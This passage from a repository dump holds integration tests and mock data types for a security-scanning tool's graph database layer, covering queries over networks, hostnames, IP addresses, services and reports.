    "content": "import os\nfrom datetime import datetime\n\nimport pytest\n\nfrom octopoes.models import DeclaredScanProfile, ScanLevel\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import Network\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.path import Path\nfrom octopoes.repositories.ooi_repository import XTDBOOIRepository\nfrom octopoes.repositories.scan_profile_repository import XTDBScanProfileRepository\nfrom octopoes.xtdb.query import Aliased, Query\n\nif os.environ.get(\"CI\") != \"1\":\n    pytest.skip(\"Needs XTDB multinode container.\", allow_module_level=True)\n\n\ndef test_list_oois(xtdb_ooi_repository: XTDBOOIRepository, valid_time: datetime):\n    xtdb_ooi_repository.save(Network(name=\"test\"), valid_time)\n\n    assert xtdb_ooi_repository.list_oois({Network}, valid_time) == Paginated(count=0, items=[])\n\n    xtdb_ooi_repository.session.commit()\n\n    # list() does not return any OOI without a scan profile\n    assert xtdb_ooi_repository.list_oois({Network}, valid_time) == Paginated(count=0, items=[])\n\n\ndef test_load_bulk(\n    xtdb_ooi_repository: XTDBOOIRepository,\n    xtdb_scan_profile_repository: XTDBScanProfileRepository,\n    valid_time: datetime,\n):\n    network = Network(name=\"test\")\n    xtdb_ooi_repository.save(network, valid_time)\n\n    network2 = Network(name=\"test2\")\n    xtdb_ooi_repository.save(network2, valid_time)\n\n    network3 = Network(name=\"test3\")\n    xtdb_ooi_repository.save(network3, valid_time)\n\n    xtdb_ooi_repository.session.commit()\n\n    xtdb_scan_profile_repository.save(\n        None, DeclaredScanProfile(reference=network.reference, level=ScanLevel.L2), valid_time\n    )\n    xtdb_scan_profile_repository.save(\n        None, DeclaredScanProfile(reference=network2.reference, level=ScanLevel.L2), valid_time\n    )\n    xtdb_scan_profile_repository.save(\n        None, DeclaredScanProfile(reference=network3.reference, level=ScanLevel.L2), valid_time\n    )\n    xtdb_scan_profile_repository.commit()\n\n    networks = xtdb_ooi_repository.load_bulk(\n        {network.reference, network2.reference, network3.reference}, valid_time, include_scan_levels=False\n    )\n    assert [ooi.reference for ooi in networks.values()] == [network.reference, network2.reference, network3.reference]\n\n    assert networks[network.reference].scan_profile is None\n    assert networks[network2.reference].scan_profile is None\n    assert networks[network3.reference].scan_profile is None\n\n    networks = xtdb_ooi_repository.load_bulk(\n        {network.reference, network2.reference, network3.reference}, valid_time, include_scan_levels=True\n    )\n    assert [ooi.reference for ooi in networks.values()] == [network.reference, network2.reference, network3.reference]\n\n    assert networks[network.reference].scan_profile is not None\n    assert networks[network2.reference].scan_profile is not None\n    assert networks[network3.reference].scan_profile is not None\n\n\ndef test_complex_query(xtdb_ooi_repository: XTDBOOIRepository, valid_time: datetime):\n    network = Network(name=\"testnetwork\")\n    network2 = Network(name=\"testnetwork2\")\n    xtdb_ooi_repository.save(network, valid_time)\n    xtdb_ooi_repository.save(network2, valid_time)\n    xtdb_ooi_repository.save(Hostname(network=network2.reference, name=\"testhostname\"), valid_time)\n    xtdb_ooi_repository.session.commit()\n\n    # router logic\n    object_path = Path.parse(\"Network.<network[is Hostname]\")\n    sources = [\"Network|testnetwork\", \"Network|testnetwork2\"]\n    source_pk_alias = Aliased(object_path.segments[0].source_type, field=\"primary_key\")\n    query = (\n        Query.from_path(object_path)\n        .find(source_pk_alias)\n        .pull(Network)\n        .where(Network, primary_key=source_pk_alias)\n        .where_in(Network, primary_key=sources)\n    )\n\n    result = xtdb_ooi_repository.query(query, valid_time)\n\n    assert len(result) == 1\n"
  },
  {
    "path": "octopoes/tests/integration/test_unicode.py",
    "content": "import os\nimport time\nimport uuid\nfrom datetime import datetime\n\nimport pytest\n\nfrom octopoes.api.models import Declaration, Observation\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import DeclaredScanProfile, ScanLevel\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import Network\nfrom octopoes.models.origin import OriginType\n\nif os.environ.get(\"CI\") != \"1\":\n    pytest.skip(\"Needs XTDB multinode container.\", allow_module_level=True)\n\nNAMES = [\"🐱\", \"★.com\", \"🐈\"]\n\n\ndef test_unicode_network(octopoes_api_connector: OctopoesAPIConnector, valid_time: datetime):\n    network = Network(name=NAMES[0])\n    octopoes_api_connector.save_declaration(Declaration(ooi=network, valid_time=valid_time))\n\n    time.sleep(1)\n\n    assert octopoes_api_connector.list_objects(types={Network}, valid_time=valid_time).count == 1\n    network_object = octopoes_api_connector.list_objects(types={Network}, valid_time=valid_time).items[0]\n    assert network_object.name == NAMES[0]\n    assert network_object.reference == network.reference\n\n\ndef test_unicode_hostname(octopoes_api_connector: OctopoesAPIConnector, valid_time: datetime):\n    network = Network(name=NAMES[0])\n    octopoes_api_connector.save_declaration(Declaration(ooi=network, valid_time=valid_time))\n\n    with pytest.raises(ValueError):\n        Hostname(network=network.reference, name=\"%@.com\")\n\n    hostname = Hostname(network=network.reference, name=NAMES[1])\n    task_id = uuid.uuid4()\n\n    octopoes_api_connector.save_observation(\n        Observation(\n            method=NAMES[2],\n            source=network.reference,\n            source_method=\"test\",\n            task_id=task_id,\n            valid_time=valid_time,\n            result=[hostname],\n        )\n    )\n\n    scan_profile = DeclaredScanProfile(reference=hostname.reference, level=ScanLevel.L2)\n    octopoes_api_connector.save_scan_profile(scan_profile, valid_time)\n\n    time.sleep(1)\n\n    assert octopoes_api_connector.list_objects(types={Network, Hostname}, valid_time=valid_time).count == 2\n\n    network_object = octopoes_api_connector.list_objects(types={Network}, valid_time=valid_time).items[0]\n    assert network_object.name == NAMES[0]\n    assert network_object.reference == network.reference\n\n    hostname_object = octopoes_api_connector.list_objects(types={Hostname}, valid_time=valid_time).items[0]\n    assert hostname_object.name == NAMES[1].encode(\"idna\").decode()\n    assert hostname_object.reference == hostname.reference\n\n    origins = octopoes_api_connector.list_origins(task_id=task_id, valid_time=valid_time)\n    assert origins[0].model_dump() == {\n        \"method\": NAMES[2],\n        \"origin_type\": OriginType.OBSERVATION,\n        \"source\": network.reference,\n        \"source_method\": \"test\",\n        \"result\": [hostname.reference],\n        \"task_id\": task_id,\n    }\n\n    assert len(octopoes_api_connector.list_origins(result=hostname.reference, valid_time=valid_time)) == 1\n"
  },
  {
    "path": "octopoes/tests/integration/test_xtdb_client.py",
    "content": "import logging\nimport os\nfrom datetime import datetime, timezone\n\nimport pytest\n\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddress, IPAddressV4, Network\nfrom octopoes.models.ooi.reports import AssetReport, Report\nfrom octopoes.models.ooi.web import URL\nfrom octopoes.models.path import Path\nfrom octopoes.repositories.ooi_repository import XTDBOOIRepository\nfrom octopoes.repositories.origin_repository import XTDBOriginRepository\nfrom octopoes.xtdb.client import OperationType, XTDBHTTPClient, XTDBSession\nfrom octopoes.xtdb.exceptions import NodeNotFound\nfrom octopoes.xtdb.query import Aliased, Query\nfrom tests.conftest import seed_asset_report, seed_report, seed_system\n\nlogger = logging.getLogger(__name__)\n\nif os.environ.get(\"CI\") != \"1\":\n    pytest.skip(\"Needs XTDB multinode container.\", allow_module_level=True)\n\n\ndef test_node_creation_and_deletion(xtdb_http_client: XTDBHTTPClient):\n    xtdb_http_client.create_node()\n    status = xtdb_http_client.status()\n\n    assert status.indexVersion == 22\n    assert status.consumerState is None\n    assert status.kvStore == \"xtdb.rocksdb.RocksKv\"\n    assert status.estimateNumKeys >= 1\n\n    xtdb_http_client.delete_node()\n\n    with pytest.raises(NodeNotFound):\n        assert xtdb_http_client.status()\n\n\ndef test_delete_non_existing_node(xtdb_http_client: XTDBHTTPClient):\n    with pytest.raises(NodeNotFound):\n        xtdb_http_client.delete_node()\n\n\ndef test_query_no_results(xtdb_session: XTDBSession):\n    query = Query(Network).where(Network, name=\"test\")\n\n    result = xtdb_session.client.query(query)\n    assert result == []\n\n\ndef test_query_simple_filter(xtdb_session: XTDBSession, valid_time: datetime):\n    xtdb_session.put(XTDBOOIRepository.serialize(Network(name=\"testnetwork\")), valid_time)\n\n    query = Query(Network).where(Network, name=\"test\")\n    result = xtdb_session.client.query(query)\n    assert result == []\n\n    xtdb_session.commit()\n\n    query = Query(Network).where(Network, name=\"test\")\n    result = xtdb_session.client.query(query)\n    assert result == []\n\n    query = Query(Network).where(Network, name=\"testnetwork\")\n    result = xtdb_session.client.query(query)\n    assert result == [\n        [\n            {\n                \"Network/primary_key\": \"Network|testnetwork\",\n                \"Network/name\": \"testnetwork\",\n                \"object_type\": \"Network\",\n                \"user_id\": None,\n                \"xt/id\": \"Network|testnetwork\",\n            }\n        ]\n    ]\n\n    query = \"\"\"{:query {:find [(pull ?3b1ebf3a-3cc1-4e35-8c5f-e8173e55b623 [*])] :where [\n    [ ?3b1ebf3a-3cc1-4e35-8c5f-e8173e55b623 :Network/name \"testnetwork\" ]\n    [ ?3b1ebf3a-3cc1-4e35-8c5f-e8173e55b623 :object_type \"Network\" ]] limit 50 offset 0}}\"\"\"\n\n    assert len(xtdb_session.client.query(query)) == 1\n\n\ndef test_query_not_empty_on_reference_filter_for_hostname(xtdb_session: XTDBSession, valid_time: datetime):\n    network = Network(name=\"testnetwork\")\n    xtdb_session.put(XTDBOOIRepository.serialize(network), valid_time)\n    xtdb_session.put(XTDBOOIRepository.serialize(Hostname(network=network.reference, name=\"testhostname\")), valid_time)\n    xtdb_session.put(\n        XTDBOOIRepository.serialize(Hostname(network=network.reference, name=\"secondhostname\")), valid_time\n    )\n    xtdb_session.commit()\n\n    query = Query(Network).where(Hostname, name=\"testhostname\").where(Hostname, network=Network)\n    result = xtdb_session.client.query(query)\n    assert result == [\n        [\n            {\n                \"Network/primary_key\": \"Network|testnetwork\",\n                \"Network/name\": \"testnetwork\",\n                \"object_type\": \"Network\",\n                \"user_id\": None,\n                \"xt/id\": \"Network|testnetwork\",\n            }\n        ]\n    ]\n\n    query = query.where(Network, name=\"testnetwork\")\n    result = xtdb_session.client.query(query)\n    assert result == [\n        [\n            {\n                \"Network/primary_key\": \"Network|testnetwork\",\n                \"Network/name\": \"testnetwork\",\n                \"object_type\": \"Network\",\n                \"user_id\": None,\n                \"xt/id\": \"Network|testnetwork\",\n            }\n        ]\n    ]\n\n\ndef test_query_empty_on_reference_filter_for_wrong_hostname(xtdb_session: XTDBSession, valid_time: datetime):\n    network = Network(name=\"testnetwork\")\n    network2 = Network(name=\"testnetwork2\")\n    xtdb_session.put(XTDBOOIRepository.serialize(network), valid_time)\n    xtdb_session.put(XTDBOOIRepository.serialize(network2), valid_time)\n    xtdb_session.put(\n        XTDBOOIRepository.serialize(Hostname(network=network2.reference, name=\"secondhostname\")), valid_time\n    )\n    xtdb_session.commit()\n\n    query = Query(Network).where(Network, name=\"testnetwork\").where(Hostname, name=\"secondhostname\")  # No foreign key\n    result = xtdb_session.client.query(query)\n    assert result == [\n        [\n            {\n                \"Network/primary_key\": \"Network|testnetwork\",\n                \"Network/name\": \"testnetwork\",\n                \"object_type\": \"Network\",\n                \"user_id\": None,\n                \"xt/id\": \"Network|testnetwork\",\n            }\n        ]\n    ]\n\n    query = query.where(Hostname, network=Network)  # Add foreign key constraint\n    assert xtdb_session.client.query(query) == []\n\n    assert len(xtdb_session.client.query(str(Query(Network)))) == 2\n\n\ndef test_query_where_in(xtdb_session: XTDBSession, valid_time: datetime):\n    network = XTDBOOIRepository.serialize(Network(name=\"testnetwork\"))\n    network2 = XTDBOOIRepository.serialize(Network(name=\"testnetwork2\"))\n    ipv4 = XTDBOOIRepository.serialize(IPAddressV4(network=\"Network|testnetwork2\", address=\"127.0.0.1\"))\n    xtdb_session.put(network, valid_time)\n    xtdb_session.put(network2, valid_time)\n    xtdb_session.put(\n        XTDBOOIRepository.serialize(Hostname(network=\"Network|testnetwork2\", name=\"secondhostname\")), valid_time\n    )\n    xtdb_session.put(ipv4, valid_time)\n    xtdb_session.commit()\n\n    query = Query.from_path(Path.parse(\"Hostname.network\")).where_in(Network, name=[\"testnetwork1\"])\n    result = xtdb_session.client.query(query)\n    assert len(result) == 0\n\n    query = Query.from_path(Path.parse(\"Hostname.network\")).where_in(Network, name=[\"testnetwork2\"])\n    result = xtdb_session.client.query(query)\n    assert result == [[network2]]\n\n    query = Query.from_path(Path.parse(\"Hostname.network\")).where_in(Network, name=[\"testnetwork\", \"testnetwork2\"])\n    result = xtdb_session.client.query(query)\n    assert result == [[network2]]\n\n    query = Query(Network).where_in(Network, primary_key=[\"Network|testnetwork\", \"Network|testnetwork2\"])\n    result = xtdb_session.client.query(query)\n    assert result == [[network], [network2]]\n\n    pk = Aliased(Network, field=\"primary_key\")\n    query = (\n        Query(Network)\n        .find(pk)\n        .pull(Network)\n        .where(Network, primary_key=pk)\n        .where_in(Network, primary_key=[\"Network|testnetwork\", \"Network|testnetwork2\"])\n    )\n    result = xtdb_session.client.query(query, valid_time)\n    assert result == [[\"Network|testnetwork\", network], [\"Network|testnetwork2\", network2]]\n\n    # router logic\n    object_path = Path.parse(\"Hostname.<hostname[is DNSNSRecord]\")\n    sources = [\"Network|testnetwork\", \"Network|testnetwork2\"]\n    source_pk_alias = Aliased(object_path.segments[0].source_type, field=\"primary_key\")\n    query = (\n        Query.from_path(object_path)\n        .find(source_pk_alias)\n        .pull(object_path.segments[0].source_type)\n        .where(object_path.segments[0].source_type, primary_key=source_pk_alias)\n        .where_in(object_path.segments[0].source_type, primary_key=sources)\n    )\n    assert len(xtdb_session.client.query(query, valid_time)) == 0\n\n    object_path = Path.parse(\"IPAddress.network\")\n    pk = Aliased(IPAddress, field=\"primary_key\")\n    query = (\n        Query.from_path(object_path)\n        .find(pk)\n        .pull(IPAddress)\n        .where(IPAddress, network=Network)\n        .where(IPAddress, primary_key=pk)\n        .where_in(IPAddress, primary_key=[\"IPAddressV4|testnetwork2|127.0.0.1\", \"IPAddressV4|testnetwork|0.0.0.0\"])\n    )\n    assert xtdb_session.client.query(query, valid_time) == [[\"IPAddressV4|testnetwork2|127.0.0.1\", ipv4]]\n\n\ndef test_entity_history(xtdb_session: XTDBSession, valid_time: datetime):\n    network = Network(name=\"testnetwork\")\n    xtdb_session.put(XTDBOOIRepository.serialize(network), datetime.now(timezone.utc))\n    xtdb_session.commit()\n\n    xtdb_session.add((OperationType.DELETE, str(network.reference), datetime.now(timezone.utc)))\n    xtdb_session.commit()\n\n    xtdb_session.put(XTDBOOIRepository.serialize(network), datetime.now(timezone.utc))\n    xtdb_session.commit()\n\n    history = xtdb_session.client.get_entity_history(str(network.reference), with_docs=True)\n    assert len(history) == 3\n\n    assert history[0].document is not None\n    assert history[1].document is None\n    assert history[2].document is not None\n\n\ndef test_query_for_system_report(\n    octopoes_api_connector: OctopoesAPIConnector,\n    xtdb_ooi_repository: XTDBOOIRepository,\n    xtdb_origin_repository: XTDBOriginRepository,\n    xtdb_session: XTDBSession,\n    valid_time,\n):\n    seed_system(xtdb_ooi_repository, xtdb_origin_repository, valid_time)\n\n    # Find all hostnames with the same ip address\n    query = Query.from_path(\n        Path.parse(\"Hostname.<hostname[is ResolvedHostname].address.<address[is ResolvedHostname].hostname\")\n    ).where(Hostname, primary_key=\"Hostname|test|example.com\")\n    result = xtdb_session.client.query(query)\n\n    assert len(result) == 10\n    pks = [x[0][\"Hostname/primary_key\"] for x in result]\n\n    assert pks.count(\"Hostname|test|a.example.com\") == 1\n    assert pks.count(\"Hostname|test|b.example.com\") == 1\n    assert pks.count(\"Hostname|test|c.example.com\") == 2  # Duplicated through ipv6\n    assert pks.count(\"Hostname|test|d.example.com\") == 2  # Duplicated through ipv6\n    assert pks.count(\"Hostname|test|e.example.com\") == 1\n    assert pks.count(\"Hostname|test|f.example.com\") == 1\n    assert pks.count(\"Hostname|test|example.com\") == 2  # Duplicated through ipv6\n\n    # Find all services attached to the hostnames ip address\n    query = Query.from_path(\n        Path.parse(\n            \"Hostname.<hostname[is ResolvedHostname].address.<address[is IPPort].<ip_port [is IPService].service\"\n        )\n    ).where(Hostname, primary_key=\"Hostname|test|example.com\")\n    result = xtdb_session.client.query(query)\n    assert len(result) == 4\n\n    pks = {x[0][\"Service/primary_key\"] for x in result}\n    assert pks == {\"Service|ssh\", \"Service|smtp\", \"Service|https\", \"Service|http\"}\n\n    # Queries performed in Rocky's system report\n    ips = octopoes_api_connector.query(\n        \"Hostname.<hostname[is ResolvedHostname].address\", valid_time, \"Hostname|test|c.example.com\"\n    )\n\n    ip_services = {}\n\n    for ip in ips:\n        ip_services[str(ip.address)] = {\n            \"hostnames\": [\n                str(x.name)\n                for x in octopoes_api_connector.query(\n                    \"IPAddress.<address[is ResolvedHostname].hostname\", valid_time, ip.reference\n                )\n            ],\n            \"services\": list(\n                {\n                    str(x.name)\n                    for x in octopoes_api_connector.query(\n                        \"IPAddress.<address[is IPPort].<ip_port [is IPService].service\", valid_time, ip.reference\n                    )\n                }.union(\n                    {\n                        str(x.name)\n                        for x in octopoes_api_connector.query(\n                            \"IPAddress.<address[is IPPort].<ooi [is SoftwareInstance].software\",\n                            valid_time,\n                            ip.reference,\n                        )\n                    }\n                )\n            ),\n            \"websites\": [\n                str(x.hostname)\n                for x in octopoes_api_connector.query(\n                    \"IPAddress.<address[is IPPort].<ip_port [is IPService].<ip_service [is Website]\",\n                    valid_time,\n                    ip.reference,\n                )\n                if x.hostname == Reference.from_str(\"Hostname|test|a.example.com\")\n            ],\n        }\n\n    assert len(ips) == 2\n    assert len(ip_services[\"192.0.2.3\"][\"hostnames\"]) == 6\n    assert len(ip_services[\"192.0.2.3\"][\"services\"]) == 4\n    assert len(ip_services[\"192.0.2.3\"][\"websites\"]) == 1\n    assert ip_services[\"192.0.2.3\"][\"websites\"][0] == \"Hostname|test|a.example.com\"\n\n    assert len(ip_services[\"3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\"][\"hostnames\"]) == 4\n    assert len(ip_services[\"3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\"][\"services\"]) == 1\n    assert len(ip_services[\"3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\"][\"websites\"]) == 0\n\n\ndef test_query_for_web_system_report(\n    octopoes_api_connector: OctopoesAPIConnector,\n    xtdb_ooi_repository: XTDBOOIRepository,\n    xtdb_origin_repository: XTDBOriginRepository,\n    xtdb_session: XTDBSession,\n    valid_time: datetime,\n):\n    seed_system(xtdb_ooi_repository, xtdb_origin_repository, valid_time)\n    web_hostname = Hostname(network=Network(name=\"test\").reference, name=\"example.com\")\n    second_web_hostname = Hostname(network=Network(name=\"test\").reference, name=\"a.example.com\")\n\n    query = \"Hostname.<ooi[is Finding].finding_type\"\n    assert (\n        len(octopoes_api_connector.query(query, valid_time, web_hostname.reference)) == 0\n    )  # We should not consider Internetnl finding types\n\n    query = \"Hostname.<hostname[is Website].<website[is HTTPResource].<ooi[is Finding].finding_type\"\n    resources_finding_types = octopoes_api_connector.query(query, valid_time, web_hostname.reference)\n\n    assert len(resources_finding_types) == 1\n    ids = [x.id for x in resources_finding_types]\n    assert \"KAT-NO-CSP\" in ids\n\n    query = \"Hostname.<netloc[is HostnameHTTPURL].<ooi[is Finding].finding_type\"\n    web_url_finding_types = octopoes_api_connector.query(query, valid_time, web_hostname.reference)\n    assert len(web_url_finding_types) == 1\n    assert web_url_finding_types[0].id == \"KAT-NO-HTTPS-REDIRECT\"\n\n    query = \"Hostname.<hostname[is Website].<ooi[is Finding].finding_type\"\n    assert len(octopoes_api_connector.query(query, valid_time, web_hostname.reference)) == 0\n    assert len(octopoes_api_connector.query(query, valid_time, second_web_hostname.reference)) == 1\n\n    query = \"Hostname.<hostname[is Website].<website[is SecurityTXT]\"\n    assert len(octopoes_api_connector.query(query, valid_time, web_hostname.reference)) == 0\n\n    # a.example.com has a SecurityTXT\n    assert len(octopoes_api_connector.query(query, valid_time, second_web_hostname.reference)) == 1\n\n    query = \"Hostname.<hostname[is ResolvedHostname].address.<address[is IPPort]\"\n    assert len(octopoes_api_connector.query(query, valid_time, web_hostname.reference)) == 4\n\n    query = \"Hostname.<hostname[is Website].certificate.<ooi[is Finding].finding_type\"\n    assert len(octopoes_api_connector.query(query, valid_time, web_hostname.reference)) == 0\n\n\ndef test_query_subclass_fields_and_returning_only_fields(\n    octopoes_api_connector: OctopoesAPIConnector,\n    xtdb_ooi_repository: XTDBOOIRepository,\n    xtdb_origin_repository: XTDBOriginRepository,\n    xtdb_session: XTDBSession,\n    valid_time: datetime,\n):\n    seed_system(xtdb_ooi_repository, xtdb_origin_repository, valid_time)\n\n    query = Query.from_path(Path.parse(\"URL.web_url.network\"))\n    result = xtdb_session.client.query(query, valid_time)\n    assert result == [\n        [\n            {\n                \"object_type\": \"Network\",\n                \"user_id\": None,\n                \"Network/primary_key\": \"Network|test\",\n                \"Network/name\": \"test\",\n                \"xt/id\": \"Network|test\",\n            }\n        ]\n    ]\n\n    query = Query.from_path(Path.parse(\"URL.web_url.scheme\"))\n    result = xtdb_session.client.query(query, valid_time)\n    assert result == [[\"https\"]]\n\n    query = query.where(URL, primary_key=\"URL|test|https://test.com/security\")\n    result = xtdb_session.client.query(query, valid_time)\n    assert result == [[\"https\"]]\n\n    query = Query.from_path(Path.parse(\"URL.web_url.netloc\")).where(\n        URL, primary_key=\"URL|test|https://test.com/security\"\n    )\n    result = xtdb_session.client.query(query, valid_time)\n    assert result == [\n        [\n            {\n                \"Hostname/primary_key\": \"Hostname|test|example.com\",\n                \"object_type\": \"Hostname\",\n                \"user_id\": None,\n                \"Hostname/network\": \"Network|test\",\n                \"Hostname/name\": \"example.com\",\n                \"xt/id\": \"Hostname|test|example.com\",\n            }\n        ]\n    ]\n\n    query = Query.from_path(Path.parse(\"URL.web_url.netloc.name\")).where(\n        URL, primary_key=\"URL|test|https://test.com/security\"\n    )\n    result = xtdb_session.client.query(query, valid_time)\n    assert result == [[\"example.com\"]]\n\n    pk = Aliased(URL, field=\"primary_key\")\n    query = (\n        Query.from_path(Path.parse(\"URL.web_url.netloc.name\"))\n        .find(pk, index=0)\n        .where(URL, primary_key=pk)\n        .where_in(URL, primary_key=[\"URL|test|https://test.com/security\", \"URL|test|https://test.com/test\"])\n    )\n    result = xtdb_session.client.query(query, valid_time)\n    assert result == [[\"URL|test|https://test.com/security\", \"example.com\"]]\n\n    result = octopoes_api_connector.query(\"Network.name\", valid_time, \"Network|test\")\n    assert result == [\"test\"]\n\n    result = octopoes_api_connector.query_many(\n        \"URL.web_url.netloc.name\", valid_time, [\"URL|test|https://test.com/security\", \"URL|test|https://test.com/test\"]\n    )\n    assert result == [(\"URL|test|https://test.com/security\", \"example.com\")]\n\n\ndef test_order_reports_and_filter_on_parent(\n    octopoes_api_connector: OctopoesAPIConnector,\n    xtdb_ooi_repository: XTDBOOIRepository,\n    xtdb_origin_repository: XTDBOriginRepository,\n    xtdb_session: XTDBSession,\n    valid_time: datetime,\n):\n    seed_system(xtdb_ooi_repository, xtdb_origin_repository, valid_time)\n    seed_report(\"test\", valid_time, xtdb_ooi_repository, xtdb_origin_repository)\n\n    assert xtdb_session.client.query(Query(Report).count()) == [[1]]\n    assert xtdb_ooi_repository.list_reports(valid_time, 0, 2).count == 1\n\n    date = Aliased(Report, field=\"date_generated\")\n    query = Query(Report).pull(Report).find(date).where(Report, date_generated=date).order_by(date)\n\n    assert len(xtdb_session.client.query(query)) == 1\n    assert len(xtdb_session.client.query(Query(AssetReport))) == 0\n\n\ndef test_ooi_repository_list_reports_with_children(\n    octopoes_api_connector: OctopoesAPIConnector,\n    xtdb_ooi_repository: XTDBOOIRepository,\n    xtdb_origin_repository: XTDBOriginRepository,\n    xtdb_session: XTDBSession,\n    valid_time: datetime,\n):\n    seed_system(xtdb_ooi_repository, xtdb_origin_repository, valid_time)\n    child = seed_asset_report(\"child\", valid_time, xtdb_ooi_repository, xtdb_origin_repository, \"firstchild\")\n    child2 = seed_asset_report(\"test\", valid_time, xtdb_ooi_repository, xtdb_origin_repository, \"secondchild\")\n    seed_asset_report(\"test\", valid_time, xtdb_ooi_repository, xtdb_origin_repository, \"test\")\n    report = seed_report(\"test\", valid_time, xtdb_ooi_repository, xtdb_origin_repository, input_reports=[child, child2])\n    report2 = seed_report(\"test2\", valid_time, xtdb_ooi_repository, xtdb_origin_repository)\n\n    # We filter on Reports and do not fetch the AssetReports\n    assert xtdb_ooi_repository.list_reports(valid_time, 0, 2).count == 2\n    assert xtdb_ooi_repository.list_reports(valid_time, 0, 1).count == 2\n    assert len(xtdb_ooi_repository.list_reports(valid_time, 0, 1).items) == 1\n    assert (\n        xtdb_ooi_repository.list_reports(valid_time, 0, 2, recipe_id=report.report_recipe.tokenized.recipe_id).count\n        == 1\n    )\n    assert (\n        xtdb_ooi_repository.list_reports(valid_time, 0, 2, recipe_id=report2.report_recipe.tokenized.recipe_id).count\n        == 1\n    )\n    recipe_id = report.report_recipe.tokenized.recipe_id\n    (listed_report,) = xtdb_ooi_repository.list_reports(valid_time, 0, 1, recipe_id=recipe_id).items\n\n    assert child in listed_report.input_oois\n    assert child2 in listed_report.input_oois\n\n\ndef test_query_children_of_reports(\n    octopoes_api_connector: OctopoesAPIConnector,\n    xtdb_ooi_repository: XTDBOOIRepository,\n    xtdb_origin_repository: XTDBOriginRepository,\n    xtdb_session: XTDBSession,\n    valid_time: datetime,\n):\n    seed_system(xtdb_ooi_repository, xtdb_origin_repository, valid_time)\n    child = seed_asset_report(\"child\", valid_time, xtdb_ooi_repository, xtdb_origin_repository, \"firstchild\")\n    child2 = seed_asset_report(\"test\", valid_time, xtdb_ooi_repository, xtdb_origin_repository, \"secondchild\")\n    seed_asset_report(\"test\", valid_time, xtdb_ooi_repository, xtdb_origin_repository, \"test\")\n    report = seed_report(\"test\", valid_time, xtdb_ooi_repository, xtdb_origin_repository, input_reports=[child, child2])\n    report2 = seed_report(\"test2\", valid_time, xtdb_ooi_repository, xtdb_origin_repository)\n\n    # See https://v1-docs.xtdb.com/language-reference/1.24.3/datalog-queries/#pull for documentation about joins in a\n    # pull statement.\n    query = Query(Report).pull(Report, fields=\"[* {:Report/input_oois [*]}]\")\n    results = xtdb_session.client.query(query)\n\n    # The Report is hydrated with its input OOIs\n    assert [xtdb_ooi_repository.serialize(report2)] in results\n    assert [\n        xtdb_ooi_repository.serialize(report)\n        | {\"Report/input_oois\": [xtdb_ooi_repository.serialize(child), xtdb_ooi_repository.serialize(child2)]}\n    ] in results\n\n    hydrated_report = octopoes_api_connector.get_report(report.reference, valid_time)\n    assert hydrated_report.to_report() == report\n    assert hydrated_report.input_oois == [child, child2]\n"
  },
  {
    "path": "octopoes/tests/mocks/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/tests/mocks/mock_ooi_types.py",
    "content": "from __future__ import annotations\n\nfrom enum import Enum\nfrom ipaddress import IPv4Address, IPv6Address\nfrom typing import Annotated, Literal\n\nfrom pydantic import Field\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.persistence import ReferenceField\nfrom octopoes.models.types import get_all_types\n\n\nclass MockNetwork(OOI):\n    object_type: Literal[\"MockNetwork\"] = \"MockNetwork\"\n    name: str\n    _natural_key_attrs = [\"name\"]\n\n\nclass MockIPAddress(OOI):\n    address: IPv4Address | IPv6Address\n    network: Reference = ReferenceField(MockNetwork)\n\n    _natural_key_attrs = [\"network\", \"address\"]\n    _reverse_relation_names = {\"network\": \"ip_addresses\"}\n\n\nclass MockIPAddressV4(MockIPAddress):\n    object_type: Literal[\"MockIPAddressV4\"] = \"MockIPAddressV4\"\n    address: IPv4Address\n\n    _reverse_relation_names = {\"network\": \"ip_v4_addresses\"}\n\n\nclass MockIPAddressV6(MockIPAddress):\n    object_type: Literal[\"MockIPAddressV6\"] = \"MockIPAddressV6\"\n    address: IPv6Address\n\n    _reverse_relation_names = {\"network\": \"ip_v6_addresses\"}\n\n\nclass MockProtocol(Enum):\n    TCP = \"tcp\"\n    UDP = \"udp\"\n\n\nclass MockPortState(Enum):\n    OPEN = \"open\"\n    CLOSED = \"closed\"\n\n\nclass MockDNSZone(OOI):\n    object_type: Literal[\"MockDNSZone\"] = \"MockDNSZone\"\n    hostname: Reference = ReferenceField(\"MockHostname\", max_inherit_scan_level=2)\n\n    _natural_key_attrs = [\"hostname\"]\n    _reverse_relation_names = {\"hostname\": \"dns_zone\"}\n\n\nclass MockIPPort(OOI):\n    object_type: Literal[\"MockIPPort\"] = \"MockIPPort\"\n\n    address: Reference = ReferenceField(MockIPAddress, max_issue_scan_level=0, max_inherit_scan_level=4)\n    protocol: MockProtocol\n    port: Annotated[int, Field(gt=0, lt=2**16)]\n    state: MockPortState | None\n\n    _natural_key_attrs = [\"address\", \"protocol\", \"port\"]\n    _reverse_relation_names = {\"address\": \"ports\"}\n\n\nclass MockIPService(OOI):\n    object_type: Literal[\"MockIPService\"] = \"MockIPService\"\n\n    ip_port: Reference = ReferenceField(MockIPPort, max_issue_scan_level=0, max_inherit_scan_level=4)\n    service: str\n\n    _natural_key_attrs = [\"ip_port\", \"service\"]\n    _reverse_relation_names = {\"ip_port\": \"ip_services\"}\n\n\nclass MockHostname(OOI):\n    object_type: Literal[\"MockHostname\"] = \"MockHostname\"\n\n    dns_zone: Reference | None = ReferenceField(MockDNSZone, default=None, max_issue_scan_level=1)\n    network: Reference = ReferenceField(MockNetwork)\n    name: str\n    fqdn: Reference | None = ReferenceField(\"MockHostname\", default=None)\n\n    _natural_key_attrs = [\"network\", \"name\"]\n    _reverse_relation_names = {\"network\": \"hostnames\", \"dns_zone\": \"hostnames\", \"fqdn\": \"fqdn_of\"}\n\n\nclass MockResolvedHostname(OOI):\n    object_type: Literal[\"MockResolvedHostname\"] = \"MockResolvedHostname\"\n\n    # hostname -> address: 4\n    # address -> hostname: 0\n    